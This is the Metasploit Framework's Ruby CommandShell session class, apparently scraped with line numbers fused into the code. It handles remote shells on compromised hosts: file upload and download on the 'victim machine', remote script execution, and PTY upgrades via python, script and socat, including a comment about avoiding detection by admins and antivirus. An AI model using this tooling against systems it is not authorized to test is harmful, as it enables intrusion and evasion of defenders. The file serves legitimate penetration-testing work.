Path: blob/master/lib/msf/base/sessions/command_shell.rb
19567 views
# -*- coding: binary -*-1require 'shellwords'2require 'rex/text/table'3require "base64"45module Msf6module Sessions78###9#10# This class provides basic interaction with a command shell on the remote11# endpoint. This session is initialized with a stream that will be used12# as the pipe for reading and writing the command shell.13#14###15class CommandShell1617#18# This interface supports basic interaction.19#20include Msf::Session::Basic2122#23# This interface supports interacting with a single command shell.24#25include Msf::Session::Provider::SingleCommandShell2627include Msf::Sessions::Scriptable2829include Rex::Ui::Text::Resource3031@@irb_opts = Rex::Parser::Arguments.new(32['-h', '--help'] => [false, 'Help menu.' ],33'-e' => [true, 'Expression to evaluate.']34)3536##37# :category: Msf::Session::Scriptable implementors38#39# Runs the shell session script or resource file.40#41def execute_file(full_path, args)42if File.extname(full_path) == '.rb'43Rex::Script::Shell.new(self, full_path).run(args)44else45load_resource(full_path)46end47end4849#50# Returns the type of session.51#52def self.type53"shell"54end5556def self.can_cleanup_files57true58end5960def initialize(conn, opts = {})61self.platform ||= ""62self.arch ||= ""63self.max_threads = 164@cleanup = false65datastore = opts[:datastore]66if datastore && !datastore["CommandShellCleanupCommand"].blank?67@cleanup_command = datastore["CommandShellCleanupCommand"]68end69super70end7172#73# Returns the session description.74#75def desc76"Command shell"77end7879#80# Calls the class method81#82def type83self.class.type84end8586def abort_foreground_supported87self.platform != 'windows'88end8990##91# :category: Msf::Session::Provider::SingleCommandShell implementors92#93# The shell will have been initialized by default.94#95def shell_init96return true97end9899def bootstrap(datastore = {}, handler = nil)100session = self101102if datastore['AutoVerifySession']103session_info = ''104105# Read the initial output and mash it into a single line106# Timeout set to 1 to read in banner of all payload responses (may capture prompt as well)107# Encoding is not forced to support non ASCII shells108if session.info.nil? || session.info.empty?109banner = shell_read(-1, 1)110if banner && !banner.empty?111banner.gsub!(/[^[:print:][:space:]]+/n, "_")112banner.strip!113114session_info = @banner = %Q{115Shell Banner:116#{banner}117-----118}119end120end121122token = Rex::Text.rand_text_alphanumeric(8..24)123response = shell_command("echo #{token}")124unless response&.include?(token)125dlog("Session #{session.sid} failed to respond to an echo command")126print_error("Command shell session #{session.sid} is not valid and will be closed")127session.kill128return nil129end130131# Only populate +session.info+ with a captured banner if the shell is responsive and verified132session.info = session_info if session.info.blank?133session134else135# Encrypted shells need all information read before anything is written, so we read in the banner here. However we136# don't populate session.info with the captured value since without AutoVerify there's no way to be certain this137# actually is a banner and not junk/malicious input138if session.class == ::Msf::Sessions::EncryptedShell139shell_read(-1, 0.1)140end141end142end143144#145# Return the subdir of the `documentation/` directory that should be used146# to find usage documentation147#148def docs_dir149File.join(super, 'shell_session')150end151152#153# List of supported commands.154#155def commands156{157'help' => 'Help menu',158'background' => 'Backgrounds the current shell session',159'sessions' => 'Quickly switch to another session',160'resource' => 'Run a meta commands script stored in a local file',161'shell' => 'Spawn an interactive shell (*NIX Only)',162'download' => 'Download files',163'upload' => 'Upload files',164'source' => 'Run a shell script on remote machine (*NIX Only)',165'irb' => 'Open an interactive Ruby shell on the current session',166'pry' => 'Open the Pry debugger on the current session'167}168end169170def cmd_help_help171print_line "There's only so much I can do"172end173174def cmd_help(*args)175cmd = args.shift176177if cmd178unless commands.key?(cmd)179return print_error('No such command')180end181182unless respond_to?("cmd_#{cmd}_help")183return print_error("No help for #{cmd}, try -h")184end185186return send("cmd_#{cmd}_help")187end188189columns = ['Command', 'Description']190191tbl = Rex::Text::Table.new(192'Header' => 'Meta shell commands',193'Prefix' => "\n",194'Postfix' => "\n",195'Indent' => 4,196'Columns' => columns,197'SortIndex' => -1198)199200commands.each do |key, value|201tbl << [key, value]202end203204tbl << ['.<command>', "Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)"]205206print(tbl.to_s)207print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n")208end209210def cmd_background_help211print_line "Usage: background"212print_line213print_line "Stop interacting with this session and return to the parent prompt"214print_line215end216217def escape_arg(arg)218# By default we don't know what the escaping is. It's not ideal, but subclasses should do their own appropriate escaping219arg220end221222def cmd_background(*args)223if !args.empty?224# We assume that background does not need arguments225# If user input does not follow this specification226# Then show help (Including '-h' '--help'...)227return cmd_background_help228end229230if prompt_yesno("Background session #{name}?")231self.interacting = false232end233end234235def cmd_sessions_help236print_line('Usage: sessions <id>')237print_line238print_line('Interact with a different session Id.')239print_line('This command only accepts one positive numeric argument.')240print_line('This works the same as calling this from the MSF shell: sessions -i <session id>')241print_line242end243244def cmd_sessions(*args)245if args.length != 1246print_status "Wrong number of arguments expected: 1, received: #{args.length}"247return cmd_sessions_help248end249250if args[0] == '-h' || args[0] == '--help'251return cmd_sessions_help252end253254session_id = args[0].to_i255if session_id <= 0256print_status 'Invalid session id'257return cmd_sessions_help258end259260if session_id == self.sid261# Src == Dst262print_status("Session #{self.name} is already interactive.")263else264print_status("Backgrounding session #{self.name}...")265# store the next session id so that it can be referenced as soon266# as this session is no longer interacting267self.next_session = session_id268self.interacting = false269end270end271272def cmd_resource(*args)273if args.empty? || args[0] == '-h' || args[0] == '--help'274cmd_resource_help275return false276end277278args.each do |res|279good_res = nil280if res == '-'281good_res = res282elsif ::File.exist?(res)283good_res = res284elsif285# let's check to see if it's in the scripts/resource dir (like when tab completed)286[287::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',288::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter'289].each do |dir|290res_path = ::File::join(dir, res)291if ::File.exist?(res_path)292good_res = res_path293break294end295end296end297if good_res298print_status("Executing resource script #{good_res}")299load_resource(good_res)300print_status("Resource script #{good_res} complete")301else302print_error("#{res} is not a valid resource file")303next304end305end306end307308def cmd_resource_help309print_line "Usage: resource path1 [path2 ...]"310print_line311print_line "Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)"312print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."313print_line314end315316def cmd_shell_help()317print_line('Usage: shell')318print_line319print_line('Pop up an interactive shell via multiple methods.')320print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`')321print_line('There are four implementations of it: ')322print_line('\t1. using python `pty` module (default choice)')323print_line('\t2. using `socat` command')324print_line('\t3. using `script` command')325print_line('\t4. upload a pty program via reverse shell')326print_line327end328329def cmd_shell(*args)330if args.length == 1 && (args[0] == '-h' || args[0] == '--help')331# One arg, and args[0] => '-h' '--help'332return cmd_shell_help333end334335if platform == 'windows'336print_error('Functionality not supported on windows')337return338end339340# 1. Using python341python_path = binary_exists("python") || binary_exists("python3")342if python_path != nil343print_status("Using `python` to pop up an interactive shell")344# Ideally use bash for a friendlier shell, but fall back to /bin/sh if it doesn't exist345shell_path = binary_exists("bash") || '/bin/sh'346shell_command("#{python_path} -c \"#{ Msf::Payload::Python.create_exec_stub("import pty; pty.spawn('#{shell_path}')") } \"")347return348end349350# 2. Using script351script_path = binary_exists("script")352if script_path != nil353print_status("Using `script` to pop up an interactive shell")354# Payload: script /dev/null355# Using /dev/null to make sure there is no log file on the target machine356# Prevent being detected by the admin or antivirus software357shell_command("#{script_path} /dev/null")358return359end360361# 3. Using socat362socat_path = binary_exists("socat")363if socat_path != nil364# Payload: socat - exec:'bash -li',pty,stderr,setsid,sigint,sane365print_status("Using `socat` to pop up an interactive shell")366shell_command("#{socat_path} - exec:'/bin/sh -li',pty,stderr,setsid,sigint,sane")367return368end369370# 4. Using pty program371# 4.1 Detect arch and destribution372# 4.2 Real time compiling373# 4.3 Upload binary374# 4.4 Change mode of binary375# 4.5 Execute binary376377print_error("Can not pop up an interactive shell")378end379380def self.binary_exists(binary, platform: nil, &block)381if block.call('command -v command').to_s.strip == 'command'382binary_path = block.call("command -v '#{binary}' && echo true").to_s.strip383else384binary_path = block.call("which '#{binary}' && echo true").to_s.strip385end386return nil unless binary_path.include?('true')387388binary_path.split("\n")[0].strip # removes 'true' from stdout389end390391#392# Returns path of a binary in PATH env.393#394def binary_exists(binary)395print_status("Trying to find binary '#{binary}' on the target machine")396397binary_path = self.class.binary_exists(binary, platform: platform) do |command|398shell_command_token(command)399end400401if binary_path.nil?402print_error("#{binary} not found")403else404print_status("Found #{binary} at #{binary_path}")405end406407return binary_path408end409410def cmd_download_help411print_line("Usage: download [src] [dst]")412print_line413print_line("Downloads remote files to the local machine.")414print_line("Only files are supported.")415print_line416end417418def cmd_download(*args)419if args.length != 2420# no arguments, just print help message421return cmd_download_help422end423424src = args[0]425dst = args[1]426427# Check if src exists428if !_file_transfer.file_exist?(src)429print_error("The target file does not exist")430return431end432433# Get file content434print_status("Download #{src} => #{dst}")435content = _file_transfer.read_file(src)436437# Write file to local machine438File.binwrite(dst, content)439print_good("Done")440441rescue NotImplementedError => e442print_error(e.message)443end444445def cmd_upload_help446print_line("Usage: upload [src] [dst]")447print_line448print_line("Uploads load file to the victim machine.")449print_line("This command does not support to upload a FOLDER yet")450print_line451end452453def cmd_upload(*args)454if args.length != 2455# no arguments, just print help message456return cmd_upload_help457end458459src = args[0]460dst = args[1]461462# Check target file exists on the target machine463if _file_transfer.file_exist?(dst)464print_warning("The file <#{dst}> already exists on the target machine")465unless prompt_yesno("Overwrite the target file <#{dst}>?")466return467end468end469470begin471content = File.binread(src)472result = _file_transfer.write_file(dst, content)473print_good("File <#{dst}> upload finished") if result474print_error("Error occurred while uploading <#{src}> to <#{dst}>") unless result475rescue => e476print_error("Error occurred while uploading <#{src}> to <#{dst}> - #{e.message}")477elog(e)478return479end480481rescue NotImplementedError => e482print_error(e.message)483end484485def cmd_source_help486print_line("Usage: source [file] [background]")487print_line488print_line("Execute a local shell script file on remote machine")489print_line("This meta command will upload the script then execute it on the remote machine")490print_line491print_line("background")492print_line("`y` represent execute the script in background, `n` represent on foreground")493end494495def cmd_source(*args)496if args.length != 2497# no arguments, just print help message498return cmd_source_help499end500501if platform == 'windows'502print_error('Functionality not supported on windows')503return504end505506background = args[1].downcase == 'y'507508local_file = args[0]509remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh"510511cmd_upload(local_file, remote_file)512513# Change file permission in case of TOCTOU514shell_command("chmod 0600 #{remote_file}")515516if background517print_status("Executing on remote machine background")518print_line(shell_command("nohup sh -x #{remote_file} &"))519else520print_status("Executing on remote machine foreground")521print_line(shell_command("sh -x #{remote_file}"))522end523print_status("Cleaning temp file on remote machine")524shell_command("rm -rf '#{remote_file}'")525end526527def cmd_irb_help528print_line('Usage: irb')529print_line530print_line('Open an interactive Ruby shell on the current session.')531print @@irb_opts.usage532end533534#535# Open an interactive Ruby shell on the current session536#537def cmd_irb(*args)538expressions = []539540# Parse the command options541@@irb_opts.parse(args) do |opt, idx, val|542case opt543when '-e'544expressions << val545when '-h'546return cmd_irb_help547end548end549550session = self551framework = self.framework552553if expressions.empty?554print_status('Starting IRB shell...')555print_status("You are in the \"self\" (session) object\n")556framework.history_manager.with_context(name: :irb) do557Rex::Ui::Text::IrbShell.new(self).run558end559else560# XXX: No vprint_status here561if framework.datastore['VERBOSE'].to_s == 'true'562print_status("You are executing expressions in #{binding.receiver}")563end564565expressions.each { |expression| eval(expression, binding) }566end567end568569def cmd_pry_help570print_line 'Usage: pry'571print_line572print_line 'Open the Pry debugger on the current session.'573print_line574end575576#577# Open the Pry debugger on the current session578#579def cmd_pry(*args)580if args.include?('-h') || args.include?('--help')581cmd_pry_help582return583end584585begin586require 'pry'587rescue LoadError588print_error('Failed to load Pry, try "gem install pry"')589return590end591592print_status('Starting Pry shell...')593print_status("You are in the \"self\" (session) object\n")594Pry.config.history_load = false595framework.history_manager.with_context(history_file: Msf::Config.pry_history, name: :pry) do596self.pry597end598end599600#601# Explicitly runs a single line command.602#603def run_single(cmd)604# Do nil check for cmd (CTRL+D will cause nil error)605return unless cmd606607begin608arguments = Shellwords.shellwords(cmd)609method = arguments.shift610rescue ArgumentError => e611# Handle invalid shellwords, such as unmatched quotes612# See https://github.com/rapid7/metasploit-framework/issues/15912613end614615# Built-in command616if commands.key?(method) or ( not method.nil? and method[0] == '.' and commands.key?(method[1..-1]))617# Handle overlapping built-ins with actual shell commands by prepending '.'618if method[0] == '.' and commands.key?(method[1..-1])619return shell_write(cmd[1..-1] + command_termination)620else621return run_builtin_cmd(method, arguments)622end623end624625# User input is not a built-in command, write to socket directly626shell_write(cmd + command_termination)627end628629#630# Run built-in command631#632def run_builtin_cmd(method, arguments)633# Dynamic function call634self.send('cmd_' + method, *arguments)635end636637##638# :category: Msf::Session::Provider::SingleCommandShell implementors639#640# Explicitly run a single command, return the output.641#642def shell_command(cmd, timeout=5)643# Send the command to the session's stdin.644shell_write(cmd + command_termination)645646etime = ::Time.now.to_f + timeout647buff = ""648649# Keep reading data until no more data is available or the timeout is650# reached.651while (::Time.now.to_f < etime and (self.respond_to?(:ring) or ::IO.select([rstream], nil, nil, timeout)))652res = shell_read(-1, 0.01)653buff << res if res654timeout = etime - ::Time.now.to_f655end656657buff658end659660##661# :category: Msf::Session::Provider::SingleCommandShell implementors662#663# Read from the command shell.664#665def shell_read(length=-1, timeout=1)666begin667rv = rstream.get_once(length, timeout)668rlog(rv, self.log_source) if rv && self.log_source669framework.events.on_session_output(self, rv) if rv670return rv671rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e672#print_error("Socket error: #{e.class}: #{e}")673shell_close674raise e675end676end677678##679# :category: Msf::Session::Provider::SingleCommandShell implementors680#681# Writes to the command shell.682#683def shell_write(buf)684return unless buf685686begin687rlog(buf, self.log_source) if self.log_source688framework.events.on_session_command(self, buf.strip)689rstream.write(buf)690rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e691#print_error("Socket error: #{e.class}: #{e}")692shell_close693raise e694end695end696697##698# :category: Msf::Session::Provider::SingleCommandShell implementors699#700# Closes the shell.701# Note: parent's 'self.kill' method calls cleanup below.702#703def shell_close()704self.kill705end706707##708# :category: Msf::Session implementors709#710# Closes the shell.711#712def cleanup713return if @cleanup714715@cleanup = true716if rstream717if !@cleanup_command.blank?718# this is a best effort, since the session is possibly already dead719shell_command_token(@cleanup_command) rescue nil720721# we should only ever cleanup once722@cleanup_command = nil723end724725# this is also a best-effort726rstream.close rescue nil727rstream = nil728end729super730end731732#733# Execute any specified auto-run scripts for this session734#735def process_autoruns(datastore)736if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty?737args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )738print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")739execute_script(args.shift, *args)740end741742if (datastore['AutoRunScript'] && datastore['AutoRunScript'].empty? == false)743args = Shellwords.shellwords( datastore['AutoRunScript'] )744print_status("Session ID #{sid} (#{tunnel_to_s}) processing AutoRunScript '#{datastore['AutoRunScript']}'")745execute_script(args.shift, *args)746end747end748749# Perform command line escaping wherein most chars are able to be escaped by quoting them,750# but others don't have a valid way of existing inside quotes, so we need to "glue" together751# a series of sections of the original command line; some sections inside quotes, and some outside752# @param arg [String] The command line arg to escape753# @param quote_requiring [Array<String>] The chars that can successfully be escaped inside quotes754# @param unquotable_char [String] The character that can't exist inside quotes755# @param escaped_unquotable_char [String] The escaped form of unquotable_char756# @param quote_char [String] The char used for quoting757def self._glue_cmdline_escape(arg, quote_requiring, unquotable_char, escaped_unquotable_char, quote_char)758current_token = ""759result = ""760in_quotes = false761762arg.each_char do |char|763if char == unquotable_char764if in_quotes765# This token has been in an inside-quote context, so let's properly wrap that before continuing766current_token = "#{quote_char}#{current_token}#{quote_char}"767end768result += current_token769result += escaped_unquotable_char # Escape the offending percent770771# Start a new token - we'll assume we're remaining outside quotes772current_token = ''773in_quotes = false774next775elsif quote_requiring.include?(char)776# Oh, it turns out we should have been inside quotes for this token.777# Let's note that, for when we actually append the token778in_quotes = true779end780current_token += char781end782783if in_quotes784# The final token has been in an inside-quote context, so let's properly wrap that before continuing785current_token = "#{quote_char}#{current_token}#{quote_char}"786end787result += current_token788789result790end791792attr_accessor :arch793attr_accessor :platform794attr_accessor :max_threads795attr_reader :banner796797protected798799##800# :category: Msf::Session::Interactive implementors801#802# Override the basic session interaction to use shell_read and803# shell_write instead of operating on rstream directly.804def _interact805framework.events.on_session_interact(self)806framework.history_manager.with_context(name: self.type.to_sym) {807_interact_stream808}809end810811##812# :category: Msf::Session::Interactive implementors813#814def _interact_stream815fds = [rstream.fd, user_input.fd]816817# Displays +info+ on all session startups818# +info+ is set to the shell banner and initial prompt in the +bootstrap+ method819user_output.print("#{@banner}\n") if !@banner.blank? && self.interacting820821run_single('')822823while self.interacting824sd = Rex::ThreadSafe.select(fds, nil, fds, 0.5)825next unless sd826827if sd[0].include? rstream.fd828user_output.print(shell_read)829end830if sd[0].include? user_input.fd831run_single((user_input.gets || '').chomp("\n"))832end833Thread.pass834end835end836837# Functionality used as part of builtin commands/metashell support that isn't meant to be exposed838# as part of the CommandShell's public API839class FileTransfer840include Msf::Post::File841842# @param [Msf::Sessions::CommandShell] session843def initialize(session)844@session = session845end846847private848849def vprint_status(s)850session.print_status(s)851end852853attr_reader :session854end855856def _file_transfer857raise NotImplementedError.new('Session does not support file transfers.') if session_type.ends_with?(':winpty')858859FileTransfer.new(self)860end861end862863end864end865866867